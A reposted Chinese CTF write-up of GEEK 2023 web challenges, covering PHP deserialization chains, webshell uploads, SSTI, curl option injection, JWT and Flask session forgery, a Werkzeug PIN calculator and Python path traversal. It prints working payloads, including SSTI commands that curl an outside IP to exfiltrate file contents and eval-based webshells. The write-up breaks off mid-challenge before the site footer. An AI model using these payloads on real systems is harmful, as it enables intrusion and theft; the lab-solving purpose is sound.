赞
踩
最后排名 9/2049
。
玩脱了,以为28结束,囤的一些flag没交上去。我真该死啊QAQ
前言:这次极客平台太安全了谷歌不给抓包,抓包用burp自带浏览器。
密码查看源码->robots.txt->o2takuXX’s_username_and_password.txt获得
postman一把梭。
唯一要注意的就是最后要求$_SERVER['HTTP_O2TAKUXX']=="GiveMeFlag"
**
S
E
R
V
E
R
∗
∗
超全局变量保存关于报头、路径和脚本位置的信息。
‘
_SERVER** 超全局变量保存关于报头、路径和脚本位置的信息。`
SERVER∗∗超全局变量保存关于报头、路径和脚本位置的信息。‘_SERVER[‘HTTP_O2TAKUXX’]就是http头中的参数
O2TAKUXX`。
直接给了源码:
简单php反序列化,链子是syc::__destruct()->lover::__invoke()->web::__get()
EXP:
<?php highlight_file(__FILE__); class syc { public $cuit; public function __destruct() { echo("action!<br>"); $function=$this->cuit; return $function(); } } class lover { public $yxx; public $QW; public function __invoke() { echo("invoke!<br>"); return $this->yxx->QW; } } class web { public $eva1; public $interesting; public function __get($var) { echo("get!<br>"); $eva1=$this->eva1; $eva1($this->interesting); } } //syc::__destruct()->lover::__invoke()->web::__get() $a=new syc(); $a->cuit=new lover(); $a->cuit->yxx=new web(); $a->cuit->yxx->eva1='system'; $a->cuit->yxx->interesting='tac /flag'; echo serialize($a); ?>
文件上传,简单测了一下只给传.php
后缀????
同时木马<?= @eval($_POST[1]);?>
可行,但是木马<script language='php'>@eval($_POST[1]);</script>
不给传,二分法测试应该是整段过滤。。。。
尝试访问uploadtest/391284_653a70260a272.php
。getshell
都是一些php基础绕过,不再讲了,直接给payload:
GET:
?syc=welcome%20to%20GEEK%202023!&lover=1e9
POST:
SYC[GEEK.2023=1&SYC[GEEK.2023=Happy to see you!&qw=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&yxx=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
题目描述:命令执行?真的吗?
直接给了源码
粗略一看,断绝了curl读取文件的可能。
但是不难发现,直接给出了flag路径,而且题目描述提示不用命令执行。
查找所有curl命令的使用,发现可以使用无回显RCE中的http 信道带出文件内容:
payload:
?addr=xxxxxx.requestrepo.com -T /tmp/Syclover
可行!成功带出了flag文件/tmp/Syclover
!
题目描述:管理员为了flag不被发现,一顿操作后,自己都不知道访问的密码了 QAQ
开题是一个登录界面
未登录界面,源码里面有访客密码 和 验证密码获得flag的路由/flag
,传参?pass
登录后的界面/upload
,源码中有不可见提示csrf token 10 秒失效
(由此判断我们需要用自动化脚本),源码中还有前端js源码,暴露了所有路由。
/file-list
:列出当前已上传且未被删除的文件列表
/new-csrf-token
:获取和设置新的 CSRF 令牌
登录后随便传一个文件,后缀自动改成了.key
初始jwt的密钥就是password用户的密码123456
看看登录后的页面,管理员密码是一直在变的,由我们上传的临时文件内容决定。
重开环境。之前所有步骤都抓包看看包。
未登录的包(啥都没有)
登录时候的包(啥都没有,账号密码json传参)
登录后的包(只有jwt-token,不变的)
上传文件时候的包
访问路由/new-csrf-token
获取动态csrf密钥的包(只有jwt-token,不变的)
访问路由/flag
验证身份的包(只有jwt-token,不变的)
1、可以肯定的是我们要在十秒内(csrf token有效期)上传四个及以上文件,手动上传不用考虑csrf token,因为js源码中上传时候会自动更新,就是担心30s内无法上传+验证。但是这个如果要通过自动化脚本实现很容易,同时我们可以传一次文件更新一次csrf token,确保脚本可以一直运行下去。
2、验证究竟是如何验证呢?题目源码给的提示是/flag?pass=123456
,应该是在这个路由验证了而不是直接/login
路由登录。
3、验证方式是什么?一开始我误以为传参?pass=四个文件内容
就可以了,但是经过几小时失败,以及前文提到的jwt密钥就是password的密码123456
,不难意识到jwt也是一重验证。
4、jwt如何改?前文提到的jwt密钥就是password的密码123456
,虽然password的初始jwt+密码123456无法通过验证,但是我们验证admin身份还是需要?pass=四个文件内容=admin密码
+用户admin,密钥admin密码1111的jwt。
这里有一个坑点,就是我们脚本中 获取csrf token、上传文件、读取文件列表时候附带的jwt密钥需要改改,密码还是123456
,但是用户得是admin
!
这个也是试出来的,20:00开赛,脚本从11:00改到第二天凌晨。。。。。
具体为什么用户名要改成admin,个人暂时想法如下:
1、可行性:题目环境中jwt改了用户名没事,改了密钥就直接无效了。
2、必要性:也许用户只能读取以自己身份写入的文件,比如我password用户写入的文件,admin是无法读取的,所以对admin来说没有文件,就没有由四个文件构成的密码了。
查看脚本运行结果,验证上述必要性:
可以看到,文件确实是分用户的,JWT如果是admin用户,上传的文件名命名是admin-0xx.key
,JWT如果是password用户,上传的文件名命名是password-0xx.key
。(个人感觉这个是一个混淆点,一开始让我误以为文件名字意思是这个是密码文件,而不是password用户文件)
最后脚本如下:
#Jay17 import json import requests import threading #靶机地址 url = "https://rhk4wscflc7hgds1uoth4z1xd.node.game.sycsec.com" session = requests.session() # 往下两行的filename是表单字段名,抓包获得。 file = { 'filename': ('1.txt', '1', 'text/plain') # 请求头Content-Type字段对应的值,手动抓的包里面看 } #password用户登录的jwt,自己修改成admin用户,jwt密钥还是123456不变 jwttoken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjk4MzgyNTUzfQ.iSuLQGSzXqS0OHnV6Md5i7v8pDuIVIYa1m22A6cfNP0' # 写文件方法,不停的写,burp代理(proxies)可以看看请求包(极客不给抓包,其他比赛可以) def write(): while True: # 获取动态csrf密钥 r = session.get(url=url + "/new-csrf-token", cookies={'jwt-token': jwttoken}) # ,proxies={"http":"127.0.0.1:8080"}) print(r.text) csrf = r.text # 上传文件 data = {'yak-token': csrf} r = session.post(url=url + "/upload", data=data, files=file, cookies={'jwt-token': jwttoken}) # ,proxies={"http":"127.0.0.1:8080"}) print(r.text) # 读文件列表、自动登录验证 def read(): while True: # 读取文件 r = session.get(url=url + "/file-list", cookies={'jwt-token': jwttoken}) # ,proxies={"http":"127.0.0.1:8080"}) print(r.text) #登录验证 #jwt是admin用户,jwt密钥是四个文件连起来内容1111 r=session.get(url=url + "/flag?pass=1111", cookies={'jwt-token': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjk4MzgyNTUzfQ.PoFcmmc6hUksjK_Rtu6U647GrCiO392DeE5CU51Wx_c'}) print() print(r.status_code) # print(r.headers) # print(r.cookies['jwt-token']) # print(r.cookies) print(r.text) # 双线程,不停写不停读和验证 threads = [threading.Thread(target=write), threading.Thread(target=read)] for t in threads: t.start()
最后运行脚本得到flag
开题。
经过一系列信息搜集(源码,扫后台),发现我们的SSTI入口应该是/hack?klf=xxx
不知道是哪个语言的ssti,传入什么都返回klf别想
,如{{7*7}}
、123
。服务是由nginx
支持的,盲猜Python的SSTI,先fuzz一波。
没有fuzz出过滤,但是可以发现,确实是存在SSTI,比如只传入{{
时会500 Internal Server Error
不过啥都无回显,不知道执行成功没有。。
/hack?klf={{config.__class__.__init__.__globals__['os'].popen('tac /f*').read()}}
先拿curl命令测一波,发现命令确实能执行成功!!!
/hack?klf={{config.__class__.__init__.__globals__['os'].popen('curl 120.46.41.173:9023').read()}}
http信道带出数据,md出题人藏flag…
/hack?klf={{config.__class__.__init__.__globals__['os'].popen('curl 120.46.41.173:9023/`ls /app/f*`').read()}}
/hack?klf={{config.__class__.__init__.__globals__['os'].popen('curl 120.46.41.173:9023/`tac /app/fl4gfl4gfl4g`').read()}}
直接给了源码:
<?php highlight_file(__FILE__); class syc{ public $lover; public function __destruct() { eval($this->lover); } } if(isset($_GET['web'])){ if(!preg_match('/lover/i',$_GET['web'])){ $a=unserialize($_GET['web']); throw new Error("快来玩快来玩~"); } else{ echo("nonono"); } } ?>
我们只需要绕过对lover
的正则匹配和抛出错误即可。
绕过方式为十六进制+GC回收。
十六进制:PHP反序列化 | Y4tacker’s Blog (gitee.io)
O:4:"test":2:{s:4:"xxxa";s:3:"abc";s:7:"asdfrew";s:3:"def";}
可以写成
O:4:"test":2:{S:4:"xxx\61";s:3:"abc";s:7:"asdfrew";s:3:"def";}
表示字符类型的s大写为S时,会被当成16进制解析。
GC回收可以看这篇:绕过__wakeup() 反序列化 合集_Jay 17的博客-CSDN博客
EXP:
<?php
class syc{
public $lover;
public function __destruct()
{
eval($this->lover);
}
}
$a=new syc();
$a->lover="phpinfo();";
echo serialize($a);
?>
生成payload:
O:3:"syc":1:{s:5:"lover";s:10:"phpinfo();";}
改成如下所示,利用十六进制和GC绕过限制。
O:3:"syc":1:{S:5:"lo\76er";s:10:"phpinfo();";
难崩的是,这里有disable fuction
。不能直接执行命令了。
那我们起手连蚁剑,接下来讲讲怎么连蚁剑。
先写个转接头:
GET:?web=O:3:"syc":1:{S:5:"lo\76er";s:18:"assert($_POST[1]);";
POST:1=要执行的代码
然后连蚁剑,测试发现爆红。
解决办法是将https
改成http
。(https太安全了呜呜呜)编码器记得选base64
蚁剑还是很好用的,总动列出了所有可用的函数,并且蚁剑会用这些函数自动进行相关文件操作,可视化的显示给我们。
flag在根目录/f1ger
文件中,但是直接打开不显示内容。
蚁剑有自带绕过功能,如果直接查看flag文件没权限,可以试试在虚拟终端cat /flag。
开题。
给了源码
反编译之后是这样的:
import os, uuid from flask import Flask, render_template, request, redirect app = Flask(__name__) ARTICLES_FOLDER = 'articles/' articles = [] class Article: def __init__(self, article_id, title, content): self.article_id = article_id self.title = title self.content = content def generate_article_id(): return str(uuid.uuid4()) @app.route('/') def index(): return render_template('index.html', articles=articles) @app.route('/upload', methods=['GET', 'POST']) def upload(): if request.method == 'POST': title = request.form['title'] content = request.form['content'] article_id = generate_article_id() article = Article(article_id, title, content) articles.append(article) save_article(article_id, title, content) return redirect('/') else: return render_template('upload.html') @app.route('/article/<article_id>') def article(article_id): for article in articles: if article.article_id == article_id: title = article.title sanitized_title = sanitize_filename(title) article_path = os.path.join(ARTICLES_FOLDER, sanitized_title) with open(article_path, 'r') as (file): content = file.read() return render_template('articles.html', title=sanitized_title, content=content, article_path=article_path) return render_template('error.html') # 如果找不到对应的文章,则返回错误页面 def save_article(article_id, title, content): sanitized_title = sanitize_filename(title) article_path = ARTICLES_FOLDER + '/' + sanitized_title with open(article_path, 'w') as (file): file.write(content) def sanitize_filename(filename): #过滤函数,被过滤的字符都替换成下划线 sensitive_chars = [ ':', '*', '?', '"', '<', '>', '|', '.'] for char in sensitive_chars: filename = filename.replace(char, '_') return filename if __name__ == '__main__': app.run(debug=True)
继续信息搜集,查看源码发现flag应该在/f14444
,同时有两个路由/home
和/upload
。
博客存在python控制台,有读取文件计算PIN码进控制台执行命令的可能。(可行的方法,文件都能读,不做了)
我们先计算PIN码来读取源文件,反编译的源码可能不全。
1.username
通过getpass.getuser()读取或者通过文件读取/etc/passwd2.modname
通过getattr(mod,“file”,None)读取,默认值为flask.app3.appname
通过getattr(app,“name”,type(app).name)读取,默认值为Flask4.moddir
flask库下app.py的绝对路径、当前网络的mac地址的十进制数,通过getattr(mod,“file”,None)读取实际应用中通过报错读取,如传参的时候给个不存在的变量5.uuidnode
mac地址的十进制,通过uuid.getnode()读取,通过文件/sys/class/net/eth0/address得到16进制结果,转化为10进制进行计算6.machine_id
机器码,每一个机器都会有自已唯一的id,(Linux下)machine_id由三个合并(docker就后两个):1./etc/machine-id
2./proc/sys/kernel/random/boot_id
3./proc/self/cgroup
(第一行的/docker/字符串后面的内容)
一般生成pin码不对就是这错了
依次读取文件:(虽然可以直接读取flag呜呜)
1.username :root
2.modname:flask.app
3.appname:Flask
4.moddir:/usr/local/lib/python3.9/site-packages/flask/app.py
5.uuidnode:253636626821197
6.machine_id:31e70710-1d09-4cda-bc57-a7a012a89ef7docker-8220349aefd48f822d7435a7eaac7697e4c8fdfaa6d1ee4660ce6ca65047fc2c.scope
计算PIN码脚本:
#sha1 import hashlib from itertools import chain probably_public_bits = [ 'root'# /etc/passwd 'flask.app',# 默认值 'Flask',# 默认值 '/usr/local/lib/python3.9/site-packages/flask/app.py' # 报错得到 ] private_bits = [ '253636626821197',# /sys/class/net/eth0/address 16进制转10进制 #machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup #'653dc458-4634-42b1-9a7a-b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd'# /proc/self/cgroup #'docker-8220349aefd48f822d7435a7eaac7697e4c8fdfaa6d1ee4660ce6ca65047fc2c.scope' # /proc/self/cgroup #'31e70710-1d09-4cda-bc57-a7a012a89ef7' #/proc/sys/kernel/random/boot_id '31e70710-1d09-4cda-bc57-a7a012a89ef7docker-8220349aefd48f822d7435a7eaac7697e4c8fdfaa6d1ee4660ce6ca65047fc2c.scope' #/proc/sys/kernel/random/boot_id+/proc/self/cgroup ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') cookie_name = '__wzd' + h.hexdigest()[:20] num = None if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] rv =None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num print(rv)
笑。。。。执行不了一点,不知道为什么。
PIN码可行,我们做别的方法Python 中的路径穿越
。
参考:警惕: Python 中的路径穿越_zzzzls~的博客-CSDN博客
# os.path.join >>> os.path.join('/home/download', '../../opt/logo.png') /home/download/../../opt/logo.png # pathlib >>> pathlib.Path('/home/download') / '../../opt/logo.png' /home/download/../../opt/logo.png 【如果某个部分为绝对路径,则之前的所有部分都会被丢弃并从绝对路径开始继续拼接】 # os.path.join >>> os.path.join('/home/download', '/opt/logo.png') /opt/logo.png # pathlib >>> pathlib.Path('/home/download') / '/opt/logo.png' /opt/logo.png
阅读源码,源码反编译有点不全,但是看有路径拼接,猜测/home
路由也是路径拼接,用到了os.path.join()
或者pathlib.Path()
方法,所以造成了上述python路径穿越漏洞。
存的时候应该是articles/+什么什么。读的时候以为特性直接就读后半段绝对路径了,比如/etc/passwd
。
所以,根目录下flag文件直接读取就好啦:
源码反编译有点问题,做完后去找出题人姐姐要了一下源码:
import os import uuid from flask import Flask, render_template, request, redirect app = Flask(__name__) ARTICLES_FOLDER = 'articles/' articles = [] class Article: def __init__(self, article_id, title, content): self.article_id = article_id self.title = title self.content = content def generate_article_id(): return str(uuid.uuid4()) @app.route('/') def index(): return render_template('index.html', articles=articles) @app.route('/home') def home(): return render_template('home.html', articles=articles) @app.route('/upload', methods=['GET', 'POST']) def upload(): if request.method == 'POST': title = request.form['title'] content = request.form['content'] article_id = generate_article_id() article = Article(article_id, title, content) articles.append(article) save_article(article_id, title, content) return redirect('/home') else: return render_template('upload.html') @app.route('/article/<article_id>') def article(article_id): for article in articles: if article.article_id == article_id: title = article.title sanitized_title = sanitize_filename(title) article_path = os.path.join(ARTICLES_FOLDER, sanitized_title) with open(article_path, 'r') as file: content = file.read() return render_template('articles.html', title=sanitized_title, content=content, article_path=article_path) return render_template('error.html') # 如果找不到对应的文章,则返回错误页面 def save_article(article_id, title, content): sanitized_title = sanitize_filename(title) article_path = ARTICLES_FOLDER + '/' + sanitized_title with open(article_path, 'w') as file: file.write(content) def sanitize_filename(filename): # 替换敏感字符为下划线 _ sensitive_chars = [':', '*', '?', '"', '<', '>', '|','.'] for char in sensitive_chars: filename = filename.replace(char, '_') return filename if __name__ == '__main__': app.run(debug=True, host='0.0.0.0',port=5000)
有os.path.join()
方法,猜测成立!
二血拿下。
开题,源码没东西。
注册+登录试试,提示我们要成为教练。
验证身份的方式是session。
eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiJ7eyc3JyonNyd9fSIsInVzZXJfaWQiOjJ9.ZUOS4Q.vDzAPCyc9MEptQx5vBZLVvEnSDo
扫出robots.txt
访问/3ysd8.html
得到session密钥生成方式,
两端不变,密钥中间三位爆破。
爆破session密钥脚本:
import itertools import flask_unsign from flask_unsign.helpers import wordlist import requests as r import time import re import sys path = "wordlist.txt" print("Generating wordlist... ") with open(path,"w") as f: #permutations with repetition [f.write('wanbao'+"".join(x)+'=wanbao'+"\n") for x in itertools.product('0123456789abcdefghijklmnopqrstuvwxyzQWERTYUIOPLKJHGFDSAZXCVBNM', repeat=3)] #加上前缀 #url = "http://47.115.201.35:8000/index" #cookie_tamper = r.head(url).cookies.get_dict()['session'] cookie_tamper='eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiIxMSIsInVzZXJfaWQiOjJ9.ZUOXIQ.PPWPtlyo0NR_mm1V_pdrQOLy240' print("Got cookie: " + cookie_tamper) print("Cracker Started...") obj = flask_unsign.Cracker(value=cookie_tamper) before = time.time() with wordlist(path, parse_lines=False) as iterator: obj.crack(iterator) secret = "" if obj.secret: secret =obj.secret.decode() print(f"Found SECRET_KET {secret} in {time.time()-before} seconds") signer = flask_unsign.sign({"time":time.time(),"authorized":True},secret=secret)
flask-unsign工具用法
解密session:flask-unsign --decode --cookie '获得的session'
爆破密钥:flask-unsign --unsign --cookie '获得的session'
加密session:flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
爆破指定字典:flask-unsign --unsign --cookie 'xxx --wordlist key.txt
flask-unsign工具解密session
flask-unsign --decode --cookie 'eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiIxMSIsInVzZXJfaWQiOjJ9.ZUOXIQ.PPWPtlyo0NR_mm1V_pdrQOLy240'
flask-unsign工具伪造session
flask-unsign --sign --cookie "{'is_admin': True, 'name': '11', 'user_id': 2}" --secret 'wanbaoNjI=wanbao'
获得伪造成admin后的session。
eyJpc19hZG1pbiI6dHJ1ZSwibmFtZSI6IjExIiwidXNlcl9pZCI6Mn0.ZUOXlA.-dQNWRyZdmqiw5XrR8P6IceeJDU
用admin身份就直接得到flag。
直接给了源码。
<?php
highlight_file(__FILE__);
header('Content-Type: text/html; charset=utf-8');
error_reporting(0);
include(flag.php);
//当前目录下有好康的声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/blog/article/detail/51308
赞
踩
赞
踩
赞
踩
赞
踩
赞
踩
赞
踩
赞
踩
赞
踩
赞
踩
赞
踩
赞
踩
赞
踩
赞
踩
赞
踩
赞
踩
赞
踩
赞
踩
赞
踩
赞
踩
赞
踩
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。